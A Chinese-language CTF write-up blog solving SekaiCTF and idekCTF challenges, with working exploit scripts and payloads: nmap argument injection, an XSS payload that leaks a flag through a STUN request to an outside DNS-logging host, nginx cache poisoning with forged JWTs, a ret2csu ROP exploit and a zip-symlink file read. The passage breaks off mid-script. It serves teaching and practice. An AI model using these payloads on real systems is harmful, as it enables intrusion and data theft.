這個假日與${CyStick}
一起參加了SekaiCTF,幫忙解了幾題,這裡紀錄一下解題過程和幾題有趣的題目(*
標記的題目最終不是我解掉的)
nmap as a service:
post '/' do
input_service = escape_shell_input(params[:service])
hostname, port = input_service.split ':', 2
begin
if valid_ip? hostname and valid_port? port
# Service up?
s = TCPSocket.new(hostname, port.to_i)
s.close
# Assuming valid ip and port, this should be fine
@scan_result = IO.popen("nmap -p #{port} #{hostname}").read
else
@scan_result = "Invalid input detected, aborting scan!"
end
rescue Errno::ECONNREFUSED
@scan_result = "Connection refused on #{hostname}:#{port}"
rescue => e
@scan_result = e.message
end
erb :'index'
end
valid_port?
, valid_ip?
, escape_shell_input
:
def valid_port?(input)
!input.nil? and (1..65535).cover?(input.to_i)
end
def valid_ip?(input)
pattern = /\A((25[0-5]|2[0-4]\d|[01]?\d{1,2})\.){3}(25[0-5]|2[0-4]\d|[01]?\d{1,2})\z/
!input.nil? and !!(input =~ pattern)
end
# chatgpt code :-)
def escape_shell_input(input_string)
escaped_string = ''
input_string.each_char do |c|
case c
when ' '
escaped_string << '\\ '
when '$'
escaped_string << '\\$'
when '`'
escaped_string << '\\`'
when '"'
escaped_string << '\\"'
when '\\'
escaped_string << '\\\\'
when '|'
escaped_string << '\\|'
when '&'
escaped_string << '\\&'
when ';'
escaped_string << '\\;'
when '<'
escaped_string << '\\<'
when '>'
escaped_string << '\\>'
when '('
escaped_string << '\\('
when ')'
escaped_string << '\\)'
when "'"
escaped_string << '\\\''
when "\n"
escaped_string << '\\n'
when "*"
escaped_string << '\\*'
else
escaped_string << c
end
end
escaped_string
end
目標很明顯,想辦法command injection,然後想辦法靠nmap的features拿shell或flag。
可以觀察到escape_shell_input
過濾的字元有明顯的缺漏:
沒過濾\t
等等其他種的空白字元?
另外,valid_port?
是靠to_i
判斷的。在ruby中:
irb(main):002:0> "1234 escape!!!".to_i
=> 1234
所以可以很輕鬆的在port的位置command injection
最終翻一下nmap的manual可以發現他有一個--excludefile
的功能會去讀檔,並且把error吐到stderr,另外-oX
的輸出會包含error,所以只需要把輸出導向stdout即可拿到flag:
最後的payload:
POST / HTTP/1.1
Host: 35.231.135.130:30204
Content-Length: 107
service=127.0.0.1:1337%09--excludefile%09/flag-????????????????????????????????.txt%09-oX%09/proc/self/fd/1
Response:
...
<finished time="1693140961" timestr="Sun Aug 27 12:56:01 2023" summary="Nmap done at Sun Aug 27 12:56:01 2023; 0 IP addresses (0 hosts up) scanned in 0.20 seconds" elapsed="0.20" exit="error" errormsg="Error resolving name "SEKAI{4r6um3n7_1nj3c710n_70_rc3!!}": Name does not resolve
"/><hosts up="0" down="0" total="0"/>
flag: SEKAI{4r6um3n7_1nj3c710n_70_rc3!!}
<?php
header("Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; script-src 'unsafe-inline' 'unsafe-eval';");
header("Cross-Origin-Opener-Policy: same-origin");
$payload = "🚩🚩🚩";
if (isset($_GET["xss"]) && is_string($_GET["xss"]) && strlen($_GET["xss"]) <= 30) {
$payload = $_GET["xss"];
}
$flag = "SEKAI{test_flag}";
if (isset($_COOKIE["flag"]) && is_string($_COOKIE["flag"])) {
$flag = $_COOKIE["flag"];
}
?>
<!DOCTYPE html>
<html>
<body>
<iframe
sandbox="allow-scripts"
srcdoc="<!-- <?php echo htmlspecialchars($flag) ?> --><div><?php echo htmlspecialchars($payload); ?></div>"
></iframe>
</body>
</html>
CSP:
default-src 'none'; frame-ancestors 'none'; script-src 'unsafe-inline' 'unsafe-eval';
可以在srcdoc裡面插入30個字元,目標是繞過CSP和iframe的sandbox,拿到flag。
經過測試,我發現iframe中的baseURI
會繼承parent的baseURI
,並且在執行tag的onload時,browser會用with
的方式把那個tag的attributes都包進去
因此只需要透過<svg/onload=eval('`'+baseURI)>
的方式,就可以繞過字數限制,eval URL裡面的payload
另外,要獲得flag我們可以透過document.childNodes[0].nodeValue.trim()
的方式,獲得comment中的flag
但我在這裡就止步了,因為我不知道怎麼繞過connent-src的CSP把flag傳出來,隊友後來有想出幾招:
隊友的payload:
https://golfjail.chals.sekai.team/?`;d=new[window.URL][0](document.body.baseURI).searchParams.get(`h`);console.log(d);eval(d)//&xss=%3Csvg/onload=eval(%27%60%27%2bbaseURI)%3E&h=console.log(123);pc%20=%20new%20RTCPeerConnection({iceServers:%20[{%27url%27:%20%27stun:%27%2B[...document.childNodes[0].nodeValue.trim()].map(c=%3Ec.charCodeAt(0)).map(c=%3Ec.toString(16).padStart(2,%270%27)).join(%27%27).slice(60,80)%2B%27.o4ns16y.q.dnsl0g.net:19302%27,}]});pc.createDataChannel(%27d%27);pc.setLocalDescription();
flag: SEKAI{jsjails_4re_b3tter_th4n_pyjai1s!}
services:
blog:
build: ./blog
extra_hosts:
- "chunky.chals.sekai.team:host-gateway"
environment:
- DB=blog.db
- FLAG=SEKAI{1337}
- SECRET_KEY=kgDz@W9ks29myrk8NxiIBqntoZ*N4oBX@
- JWKS_URL_TEMPLATE=http://chunky.chals.sekai.team:8080/{user_id}/.well-known/jwks.json
nginx:
build: ./nginx
cache:
build: ./rcache
ports:
- "8080:8080"
總共有三個server
blog有一個創造post的功能:
@app.route("/create_post", methods=["GET", "POST"])
def create_post():
if "user_id" not in session:
return do_not_cache(redirect("/login"))
if request.method == "POST":
title = request.form["title"]
content = request.form["content"]
user_id = session["user_id"]
post_id = blog_posts.create_post(title, content, user_id)
return do_not_cache(redirect(f"/post/{user_id}/{post_id}"))
if request.method == "GET":
return do_not_cache(render_template("create_post.html"))
@app.route("/post/<user_id>/<post_id>")
def post(user_id, post_id):
post = blog_posts.get_post(post_id)
return render_template("post.html", post=post)
另外有一個jwks.json
的endpoint,用作拿flag時驗證jwt的方式:
@app.route("/<user_id>/.well-known/jwks.json")
def jwks(user_id):
f = open("jwks.json", "r")
jwks_contents = f.read()
f.close()
return jwks_contents
from flask import Blueprint, request, session
import os
import jwt
import requests
admin_bp = Blueprint("admin", __name__, url_prefix="/admin")
jwks_url_template = os.getenv("JWKS_URL_TEMPLATE")
valid_algo = "RS256"
def get_public_key_url(user_id):
return jwks_url_template.format(user_id=user_id)
def get_public_key(url):
resp = requests.get(url)
print(resp.content, flush=True)
resp = resp.json()
key = resp["keys"][0]["x5c"][0]
return key
def has_valid_alg(token):
header = jwt.get_unverified_header(token)
algo = header["alg"]
return algo == valid_algo
def authorize_request(token, user_id):
pubkey_url = get_public_key_url(user_id)
if has_valid_alg(token) is False:
raise Exception(
"Invalid algorithm. Only {valid_algo} allowed!".format(
valid_algo=valid_algo
)
)
pubkey = get_public_key(pubkey_url)
print(pubkey, flush=True)
pubkey = "-----BEGIN PUBLIC KEY-----\n{pubkey}\n-----END PUBLIC KEY-----".format(
pubkey=pubkey
).encode()
decoded_token = jwt.decode(token, pubkey, algorithms=["RS256"])
if "user" not in decoded_token:
raise Exception("user claim missing!")
if decoded_token["user"] == "admin":
return True
return False
@admin_bp.before_request
def authorize():
if "user_id" not in session:
return "User not signed in!", 403
if "Authorization" not in request.headers:
return "No Authorization header found!", 403
authz_header = request.headers["Authorization"].split(" ")
if len(authz_header) < 2:
return "Bearer token not found!", 403
token = authz_header[1]
if not authorize_request(token, session["user_id"]):
return "Authorization failed!", 403
@admin_bp.route("/flag")
def flag():
return os.getenv("FLAG")
nginx的設定:
user nginx;
worker_processes 1;
error_log /var/log/nginx/error.log debug;
pid /var/run/nginx.pid;
events {
worker_connections 1024;
accept_mutex off;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
access_log /var/log/nginx/access.log main;
sendfile on;
keepalive_timeout 65;
server {
listen 80 default_server;
keepalive_timeout 60;
location / {
proxy_pass http://blog:8002;
}
}
}
cache運作的大致流程(省略了一些跟我最終的解法無關的內容):
parts := strings.Split(requestLine, " ")
if len(parts) != 3 {
fmt.Println("Invalid request line:", requestLine)
return
}
method := parts[0]
path := parts[1]
version := parts[2]
// ...
cacheKey := method + " " + path
if cachedResponse, ok := cache.Get(cacheKey); ok {
fmt.Println("Cache hit for", cacheKey)
writer.WriteString(cachedResponse)
writer.Flush()
return
}
// ...
response, headers, err := forwardRequest(serverConn, method, path, version, headers, host, reader)
if err != nil {
fmt.Println("Error forwarding request:", err.Error())
return
}
should_cache := true
for k, v := range headers {
if path == "/admin/flag" || (k == "Cache-Control" && v == "no-store") {
should_cache = false
}
}
if should_cache {
cache.Set(cacheKey, response)
}
writer.WriteString(response)
writer.Flush()
可以發現目標蠻明顯的,想辦法cache poisoning,污染cache server對jwks.json的response,讓他回傳我們的public key,這樣就可以拿到flag了。
我的解法:
import json
import secrets
import httpx
import jwt
import requests
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from pwn import *
HOST, PORT = "chunky.chals.sekai.team", 8080
if args.LOCAL:
HOST, PORT = "localhost", 8080
CHALL_URL = f"http://{HOST}:{PORT}"
# Generate a private key
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
)
# Serialize the private key to PEM format
private_pem = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption(),
)
# Generate the corresponding public key
public_key = private_key.public_key()
# Serialize the public key to PEM format
public_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo
)
ADMIN_TOKEN = jwt.encode({"user": "admin"}, private_pem, algorithm="RS256")
assert jwt.decode(ADMIN_TOKEN, public_pem, algorithms=["RS256"]) == {"user": "admin"}
JWKS_JSON = json.dumps(
{
"keys": [
{
"alg": "RS256",
"x5c": [
public_pem.decode()
.replace("-----BEGIN PUBLIC KEY-----\n", "")
.replace("\n-----END PUBLIC KEY-----\n", "")
],
}
]
}
)
def create_and_login(client: httpx.Client) -> str:
username = secrets.token_hex(8)
client.post(
"/signup",
data={
"username": username,
"password": username,
},
)
client.post(
"/login",
data={
"username": username,
"password": username,
},
)
return username
def create_post(client: httpx.Client, title: str, content: str) -> str:
r = client.post(
"/create_post",
data={
"title": title,
"content": content,
},
)
return r.headers["Location"]
def cache_poisoning(target_user_id: str, post_path: str) -> None:
payload = f"""\
GET /{target_user_id}/.well-known/jwks.json /../../..{post_path}\r
\r
""".encode()
with remote(HOST, PORT) as io:
io.send(payload)
info("Cache:")
print(io.recv(4096).replace(b"\r\n", b"\n").decode())
info("After:")
r = requests.get(f"{CHALL_URL}/{target_user_id}/.well-known/jwks.json")
# print(r.content)
# print(r.json())
print(r.text.replace("\r\n", "\n"))
assert r.json() == json.loads(JWKS_JSON)
def login_as_admin(client: httpx.Client) -> None:
headers = {
"Authorization": f"Bearer {ADMIN_TOKEN}",
}
r = client.get(
"/admin/flag",
headers=headers,
)
info("Flag:")
print(r.text)
def main() -> None:
payload = f"""\
HTTP/1.1 200 OK\r
Content-Length: {len(JWKS_JSON)}\r
\r
{JWKS_JSON}\r
"""
with httpx.Client(base_url=CHALL_URL) as client:
tareget_user = create_and_login(client)
info(f"Logged in as {tareget_user}")
post_path = create_post(client, payload, "")
target_user_id = post_path.split("/")[2]
info(f"Created post at {post_path}")
cache_poisoning(target_user_id, post_path)
login_as_admin(client)
if __name__ == "__main__":
main()
# SEKAI{tr4nsf3r_3nc0d1ng_ftw!!}
flag: SEKAI{tr4nsf3r_3nc0d1ng_ftw!!}
我能解掉這題,基本上運氣很好,因為這個特性我完全是偶然發現的。我的解法基本上是靠著cache server與nginx對request line理解的不同所導致的差異,進行cache poisoning。
我payload中使用的request line為:
GET /xxxx/.well-known/jwks.json /../../../xxxx/yyyy
這個request line,在cache server透過strings.Split(requestLine, " ")
所理解到的資訊為:
/xxxx/.well-known/jwks.json
/../../../post/xxxx/yyyy
因此cache key為GET /xxxx/.well-known/jwks.json
但nginx並不這麼理解。
nginx處理request line的邏輯可以在ngx_http_parse_request_line中找到:
其中的重點是它處理uri和http version的部分:
在sw_check_uri:
狀態下,若是遇到空白字元,也就是parse完/xxxx/.well-known/jwks.json
後,nginx會進入sw_check_uri_http_09
的狀態:
/src/http/ngx_http_parse.c#L567-L570
case ' ':
r->uri_end = p;
state = sw_check_uri_http_09;
break;
在sw_check_uri_http_09
這個狀態下,若是讀不到CR
或HTTP/x.x
的開頭,nginx會直接回到sw_check_uri
的狀態,繼續parse uri:
/src/http/ngx_http_parse.c#L607-L628
case sw_check_uri_http_09:
switch (ch) {
case ' ':
break;
case CR:
r->http_minor = 9;
state = sw_almost_done;
break;
case LF:
r->http_minor = 9;
goto done;
case 'H':
r->http_protocol.data = p;
state = sw_http_H;
break;
default:
r->space_in_uri = 1;
state = sw_check_uri;
p--;
break;
}
break;
最後,當我們parse完整串request line,遇到CR
時,nginx會將此時的位置設定為uri end,再將http version設定為0.9,最後進入sw_almost_done
的狀態,準備結束parsing:
/src/http/ngx_http_parse.c#L571-L575
case CR:
r->uri_end = p;
r->http_minor = 9;
state = sw_almost_done;
break;
因此,最終nginx根據這個request line所得到的資訊為:
/xxxx/.well-known/jwks.json /../../../post/xxxx/yyyy
-> /post/xxxx/yyyy
但要注意到,之所以path中能夠包含空格,是因為server所使用的nginx版本為1.18.0,小於1.21.1,因此nginx會將空格視為合法的path字元,類似的情況也在以前的CTF發生過
此時,若是nginx直接把request line原封不動送給upstream server,gunicorn因為不支援HTTP 0.9的request line,會直接回應400 Bad Request。
但根據nginx在proxy_pass時的default設定:
https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_http_version Sets the HTTP protocol version for proxying. By default, version 1.0 is used.
因此,nginx會將我們剛剛的request升級為HTTP 1.0的request,並且送給upstream server。最終,我們的request line會變成:
GET /post/xxxx/yyyy HTTP/1.0
這樣的request line,就可以成功送到upstream server,並且nginx會將回傳的response降級為HTTP 0.9的response,也就是沒有response headers,只有response body。
最終我們即可透過在/post/xxxx/yyyy
創造的假的HTTP response,來污染/xxxx/.well-known/jwks.json
的response,讓他回傳我們的public key,這樣就可以拿到flag了。
這個假日自己一個人參加了idek CTF,我這次解了1題pwn、4題web和4題misc,這裡簡單記錄一下解題過程。
checksec:
[*] '/ctf/work/idek/Typop/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
ida反組譯出來的程式碼:
unsigned __int64 __fastcall win(char a1, char a2, char a3)
{
FILE *stream; // [rsp+18h] [rbp-58h]
_BYTE filename[10]; // [rsp+26h] [rbp-4Ah] BYREF
char s[8]; // [rsp+30h] [rbp-40h] BYREF
__int64 v7; // [rsp+38h] [rbp-38h]
__int64 v8; // [rsp+40h] [rbp-30h]
__int64 v9; // [rsp+48h] [rbp-28h]
__int64 v10; // [rsp+50h] [rbp-20h]
__int64 v11; // [rsp+58h] [rbp-18h]
unsigned __int64 v12; // [rsp+68h] [rbp-8h]
v12 = __readfsqword(0x28u);
filename[9] = 0;
filename[0] = a1;
filename[1] = a2;
filename[2] = a3;
strcpy(&filename[3], "g.txt");
stream = fopen(filename, "r");
if ( !stream )
{
puts("Error opening flag file.");
exit(1);
}
*(_QWORD *)s = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0LL;
fgets(s, 32, stream);
puts(s);
return __readfsqword(0x28u) ^ v12;
}
unsigned __int64 getFeedback()
{
__int64 buf; // [rsp+Eh] [rbp-12h] BYREF
__int16 v2; // [rsp+16h] [rbp-Ah]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
buf = 0LL;
v2 = 0;
puts("Do you like ctf?");
read(0, &buf, 0x1EuLL);
printf("You said: %s\n", (const char *)&buf);
if ( (_BYTE)buf == 121 )
printf("That's great! ");
else
printf("Aww :( ");
puts("Can you provide some extra feedback?");
read(0, &buf, 0x5AuLL);
return __readfsqword(0x28u) ^ v3;
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
while ( puts("Do you want to complete a survey?") && getchar() == 121 )
{
getchar();
getFeedback();
}
return 0;
}
可以發現getFeedback()
裡有很明顯的兩個stack buffer overflow,
一個是位於read(0, &buf, 0x1EuLL);
,另一個是位於read(0, &buf, 0x5AuLL);
。
另外,win()
在我們將rdi, rsi, rdx控制成”f”, “l”, “a”後呼叫,就可以開啟flag.txt,並且win()
會將flag印出來。
由於題目有canary,所以我們可以先利用第一個buffer overflow蓋掉canary的一個byte,利用printf("You said: %s\n", (const char *)&buf);
來leak出canary,
接著再利用第二個buffer overflow蓋掉return address來ROP。
但由於題目有PIE,所以我們還需要先leak出PIE base。
這裡我們可以先將return address partial overwrite回main()
,來重新執行getFeedback()
,
再利用與先前步驟相同的方式leak出stack上的return address(main+55)的值,來算出PIE base。
需要注意的是,
printf
與system
類似,其中的movaps
指令會要求stack alignment,所以在partial overwrite回main()
的時候,可以跳到main()
push rbp之後的地方,這樣stack因為少push了一次,就不會導致alignment的問題了。
在leak出PIE base之後,就可以開始ROP了。
這裡我使用ret2csu的方式來控制rdi, rsi, rdx。
這個binary的__libc_csu_init()
裡的gadget如下:
0x00000000000014b0 <+64>: mov rdx,r14
0x00000000000014b3 <+67>: mov rsi,r13
0x00000000000014b6 <+70>: mov edi,r12d
0x00000000000014b9 <+73>: call QWORD PTR [r15+rbx*8]
...
0x00000000000014ca <+90>: pop rbx
0x00000000000014cb <+91>: pop rbp
0x00000000000014cc <+92>: pop r12
0x00000000000014ce <+94>: pop r13
0x00000000000014d0 <+96>: pop r14
0x00000000000014d2 <+98>: pop r15
0x00000000000014d4 <+100>: ret
所以若將位在0x14CC與0x14B0的gadget串起來,我們就可以透過r12d, r13, r14來控制rdi, rsi, rdx,
並且因為getFeedback()
return的時候rbx為&__libc_csu_init
,所以只需要將r15設為:「存win()
的位置 - 8*&__libc_csu_init
」,就可以call到win()
了
但這裡會衍生出一個問題,我們win()
的address要放在哪裡?該怎麼放呢?
答案是我們可以利用第一步leak canary時,連帶被leak出來的saved rbp,推算出當前stack的位置
即可以在getFeedback()
第二次read時,將win()
的address放在stack上,並將該位置扣掉8*&__libc_csu_init
,再pop給r15,就可以call到win()
了
結合上述的技巧:
#!/usr/bin/env python3
from pwn import *
import sys
from typing import Union
from ctypes import c_uint64, c_uint32
binary = ELF("./chall")
context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]
context.arch = "amd64"
def one_gadget(filename: str) -> list:
return [
int(i)
for i in __import__("subprocess")
.check_output(["one_gadget", "--raw", filename])
.decode()
.split(" ")
]
GDB_SCRIPT = """
# b *getFeedback+70
# b *getFeedback+172
b *getFeedback+198
b win
continue
""".strip().splitlines()
GDB_SCRIPT = "\n".join(line for line in GDB_SCRIPT if not line.startswith("#"))
def conn() -> Union[process, remote]:
io = None
for arg in sys.argv[1:]:
# ./solve <any option> d
if arg == "d":
context.log_level = "debug"
# ./solve l
if arg == "l":
io = process([binary.path])
# ./solve g
elif arg == "g":
io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
# $ ./solve
if io is None:
io = remote("typop.chal.idek.team", 1337)
return io
def main():
io = conn()
io.sendlineafter(b"?\n", b"y")
pad = b"A" * (0x12 - 8 + 1)
io.sendafter(b"?\n", pad)
io.recvuntil(pad)
canary = io.recv(7)
canary = b"\x00" + canary
log.info(f"canary: {canary}")
stack_address = int.from_bytes(io.recv(6), "little")
log.info(f"stack address: {stack_address:#x}")
payload = flat(
{
0x12 - 8: canary,
0x12: stack_address,
0x12 + 8: p8((binary.symbols["main"] + 8) & 0xFF),
}
)
io.sendafter(b"?\n", payload)
io.sendlineafter(b"?\n", b"y")
pad = b"A" * 0x1A
io.sendafter(b"?\n", pad)
io.recvuntil(b"You said: ")
io.recv(0x1A)
main_55_addr = int.from_bytes(io.recv(6), "little")
log.info(f"main+55 address: {main_55_addr:#x}")
binary.address = main_55_addr - 55 - binary.symbols["main"]
log.success(f"PIE base: {binary.address:#x}")
log.success(f"win: {binary.symbols['win']:#x}")
csu_init1 = binary.address + 0x14CC
csu_init2 = binary.address + 0x14B0
rop_chain = flat(
[
csu_init1,
ord("f"), # r12 -> edi
ord("l"), # r13 -> rsi
ord("a"), # r14 -> rdx
# call qword ptr [r15 + rbx*8]
c_uint64(
(stack_address - 0x22) - binary.symbols["__libc_csu_init"] * 8
).value,
csu_init2,
]
)
payload = flat(
{
0x00: p64(binary.symbols["win"]),
0x12 - 8: canary,
# 18: 0xdeadbeef,
0x12 + 8: rop_chain,
},
length=0x5A,
)
io.sendafter(b"?\n", payload)
io.interactive()
if __name__ == "__main__":
main()
flag: idek{2_guess_typos_do_matter}
這題是用go寫的,source code:
package main
import (
"bufio"
"bytes"
"context"
"crypto/sha256"
"encoding/json"
"errors"
"fmt"
"io"
"io/ioutil"
"math/rand"
"net/http"
"os"
"time"
)
var password = sha256.Sum256([]byte("idek"))
var randomData []byte
const (
MaxOrders = 10
)
func initRandomData() {
rand.Seed(1337)
randomData = make([]byte, 24576)
if _, err := rand.Read(randomData); err != nil {
panic(err)
}
copy(randomData[12625:], password[:])
}
type ReadOrderReq struct {
Orders []int `json:"orders"`
}
func justReadIt(w http.ResponseWriter, r *http.Request) {
defer r.Body.Close()
body, err := ioutil.ReadAll(r.Body)
if err != nil {
w.WriteHeader(500)
w.Write([]byte("bad request\n"))
return
}
reqData := ReadOrderReq{}
if err := json.Unmarshal(body, &reqData); err != nil {
w.WriteHeader(500)
w.Write([]byte("invalid body\n"))
return
}
if len(reqData.Orders) > MaxOrders {
w.WriteHeader(500)
w.Write([]byte("whoa there, max 10 orders!\n"))
return
}
reader := bytes.NewReader(randomData)
validator := NewValidator()
ctx := context.Background()
for _, o := range reqData.Orders {
if err := validator.CheckReadOrder(o); err != nil {
w.WriteHeader(500)
w.Write([]byte(fmt.Sprintf("error: %v\n", err)))
return
}
ctx = WithValidatorCtx(ctx, reader, int(o))
_, err := validator.Read(ctx)
if err != nil {
w.WriteHeader(500)
w.Write([]byte(fmt.Sprintf("failed to read: %v\n", err)))
return
}
}
if err := validator.Validate(ctx); err != nil {
w.WriteHeader(500)
w.Write([]byte(fmt.Sprintf("validation failed: %v\n", err)))
return
}
w.WriteHeader(200)
w.Write([]byte(os.Getenv("FLAG")))
}
func main() {
if _, exists := os.LookupEnv("LISTEN_ADDR"); !exists {
panic("env LISTEN_ADDR is required")
}
if _, exists := os.LookupEnv("FLAG"); !exists {
panic("env FLAG is required")
}
initRandomData()
http.HandleFunc("/just-read-it", justReadIt)
srv := http.Server{
Addr: os.Getenv("LISTEN_ADDR"),
ReadTimeout: 5 * time.Second,
WriteTimeout: 5 * time.Second,
}
fmt.Printf("Server listening on %s\n", os.Getenv("LISTEN_ADDR"))
if err := srv.ListenAndServe(); err != nil {
panic(err)
}
}
type Validator struct{}
func NewValidator() *Validator {
return &Validator{}
}
func (v *Validator) CheckReadOrder(o int) error {
if o <= 0 || o > 100 {
return fmt.Errorf("invalid order %v", o)
}
return nil
}
func (v *Validator) Read(ctx context.Context) ([]byte, error) {
r, s := GetValidatorCtxData(ctx)
buf := make([]byte, s)
_, err := r.Read(buf)
if err != nil {
return nil, fmt.Errorf("read error: %v", err)
}
return buf, nil
}
func (v *Validator) Validate(ctx context.Context) error {
r, _ := GetValidatorCtxData(ctx)
buf, err := v.Read(WithValidatorCtx(ctx, r, 32))
if err != nil {
return err
}
if bytes.Compare(buf, password[:]) != 0 {
return errors.New("invalid password")
}
return nil
}
const (
reqValReaderKey = "readerKey"
reqValSizeKey = "reqValSize"
)
func GetValidatorCtxData(ctx context.Context) (io.Reader, int) {
reader := ctx.Value(reqValReaderKey).(io.Reader)
size := ctx.Value(reqValSizeKey).(int)
if size >= 100 {
reader = bufio.NewReader(reader)
}
return reader, size
}
func WithValidatorCtx(ctx context.Context, r io.Reader, size int) context.Context {
ctx = context.WithValue(ctx, reqValReaderKey, r)
ctx = context.WithValue(ctx, reqValSizeKey, size)
return ctx
}
可以觀察到,這個server有一個just-read-it
的endpoint,可以透過POST傳一個json給他。
傳給他的json會被用json.Unmarshal
解析成ReadOrderReq
的struct,接著server會檢查Orders
的長度是否大於10,如果大於10就會error。
在檢查完Orders
的長度之後,會迭代Orders
裡面的每個元素。
在迭代時會先將被迭代的元素o
傳給CheckReadOrder
來確保是大於0且小於等於100的整數,再將o
傳給Read
來讀取randomData
中的資料,每次讀取的長度為o
。
在迭代完之後,server會呼叫Validate
,確認在已經讀取過的randomData
之後的32個byte是否等於password
,如果正確就會回傳flag
這題的目標很明確,由於password
是放在randomData
的第12625 byte之後,所以我們要想辦法繞過只能讀10次,且每次讀取的長度都要小於等於100的限制來讀取12625 bytes的資料。
這題最終的解法很簡單,但若跟我一樣不熟悉golang的話,可能不太容易想到,
不過因為這題的code很短,server功能也很簡單,所以我們很容易可以測出這個server的漏洞:
若我們將Orders
裡面的元素設為[100]
,並自己在local將Validate
要比對的32個byte給print出來,就可以發現我們我們並不只讀取100個byte,而是讀了4096個byte!
原因是這段code:
if size >= 100 {
reader = bufio.NewReader(reader)
}
當Orders
裡面的元素大於等於100,就會將reader
轉成bufio.Reader
,
但在轉換的過程中,bufio.Reader
預設會將buffer size設為4096。因此我們在read 100 bytes前,實際上早就已經讀取了4096 bytes進buffer了!
利用這個特性,我們可以將Orders
裡面的元素設為[100, 100, 100, 99, 99, 99, 40]
,這樣就會讀取4096*3+99*3+40=12625
bytes,就能順利繞過檢查,拿到flag。
import httpx
BASE = "http://readme.chal.idek.team:1337"
# BASE = "http://localhost:1337"
def main() -> None:
with httpx.Client(base_url=BASE) as client:
resp = client.post(
"/just-read-it", json={"orders": [100, 100, 100, 99, 99, 99, 40]}
)
print(resp.text)
if __name__ == "__main__":
main()
flag: idek{BufF3r_0wn3rsh1p_c4n_b1t3!}
這題很水,主要的問題出在這:
@app.route("/upload", methods=["GET", "POST"])
def upload():
if not session.get("uid"):
return redirect("/login")
if request.method == "GET":
return render_template("upload.html")
if "file" not in request.files:
flash("You didn't upload a file!", "danger")
return render_template("upload.html")
file = request.files["file"]
uuidpath = str(uuid.uuid4())
filename = f"{DATA_DIR}uploadraw/{uuidpath}.zip"
file.save(filename)
subprocess.call(["unzip", filename, "-d", f"{DATA_DIR}uploads/{uuidpath}"])
flash(f'Your unique ID is <a href="/uploads/{uuidpath}">{uuidpath}</a>!', "success")
logger.info(f"User {session.get('uid')} uploaded file {uuidpath}")
return redirect("/upload")
上傳的zip會被用unzip FILENAME -d DIR
解壓縮,但是由於zip裡可以挾帶symlink,所以可以利用symlink在這個部分做任意檔案讀取:
@app.route("/uploads/<path:path>")
def uploads(path):
try:
return send_from_directory(DATA_DIR + "uploads", path)
except PermissionError:
abort(404)
又因為題目的SECRET_KEY的產生方式是寫在/app/config.py
,如下:
import random
import os
import time
SECRET_OFFSET = 0 # REDACTED
random.seed(round((time.time() + SECRET_OFFSET) * 1000))
os.environ["SECRET_KEY"] = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")
又因為server會把log寫在/tmp/server.log
裡面:
DATA_DIR = "/tmp/"
# Uploads can only be 2MB in size
app.config["MAX_CONTENT_LENGTH"] = 2 * 1000 * 1000
# Configure logging
LOG_HANDLER = logging.FileHandler(DATA_DIR + "server.log")
LOG_HANDLER.setFormatter(
logging.Formatter(fmt="[{levelname}] [{asctime}] {message}", style="{")
)
所以只要我們可以得到/app/config.py
的內容,再透過/tmp/server.log
得到server的start time,即可暴力猜出SECRET_KEY,
接著只需要偽造一個為admin的session,就可以拿到flag了:
@app.route("/flag")
def flag():
if not session.get("admin"):
return "Unauthorized!"
return subprocess.run("./flag", shell=True, stdout=subprocess.PIPE).stdout.decode(
"utf-8"
)
解法很直觀,就不多做解釋了:
import asyncio
import base64
import hashlib
import json
import os
import random
import secrets
from datetime import datetime
import httpx
from itsdangerous import TimestampSigner
from tqdm import tqdm
BASE = "http://simple-file-server.chal.idek.team:1337"
# BASE = "http://localhost:1337"
def sign(data, key: str) -> str:
signer = TimestampSigner(
secret_key=key,
salt="cookie-session",
key_derivation="hmac",
digest_method=hashlib.sha1,
)
return signer.sign(base64.b64encode(json.dumps(data).encode("utf-8"))).decode(
"utf-8"
)
def timestamp(s: str) -> int:
# format is something like 2023-01-15 07:41:29 +0000
return int(datetime.strptime(s, "%Y-%m-%d %H:%M:%S %z").timestamp())
async def main() -> None:
os.system("rm -rf pwn.zip")
os.system("rm -rf config")
os.system("rm -rf log")
os.system("ln -s /app/config.py config")
os.system("ln -s /tmp/server.log log")
os.system("zip -y -r pwn.zip config log")
os.system("rm config")
os.system("rm log")
username = secrets.token_hex(10)
password = "lebr0nli"
print(f"username: {username}")
async with httpx.AsyncClient(base_url=BASE, http2=True) as client:
resp = await client.post(
"/register",
data={
"username": username,
"password": password,
},
)
# print(resp.text)
await client.post(
"/login",
data={
"username": username,
"password": password,
},
)
resp = await client.post(
"/upload",
files={
("file", open("pwn.zip", "rb")),
},
follow_redirects=True,
)
file_id = resp.text.split('Your unique ID is <a href="/uploads/')[1].split(
'">'
)[0]
print(f"file_id: {file_id}")
resp = await client.get(f"/uploads/{file_id}/config")
offset = resp.text.split("SECRET_OFFSET = ")[1].split("\n")[0]
print(f"offset: {offset}")
resp = await client.get(f"/uploads/{file_id}/log")
first_log_time = resp.text.split("[")[1].split("]")[0]
print(f"first_log_time: {first_log_time}")
seed_lower_bound = (int(offset) + timestamp(first_log_time)) * 1000
print(f"seed_lower_bound: {seed_lower_bound}")
seed_upper_bound = seed_lower_bound + 1000
print(f"seed_upper_bound: {seed_upper_bound}")
for seed in tqdm(range(seed_lower_bound, seed_upper_bound)):
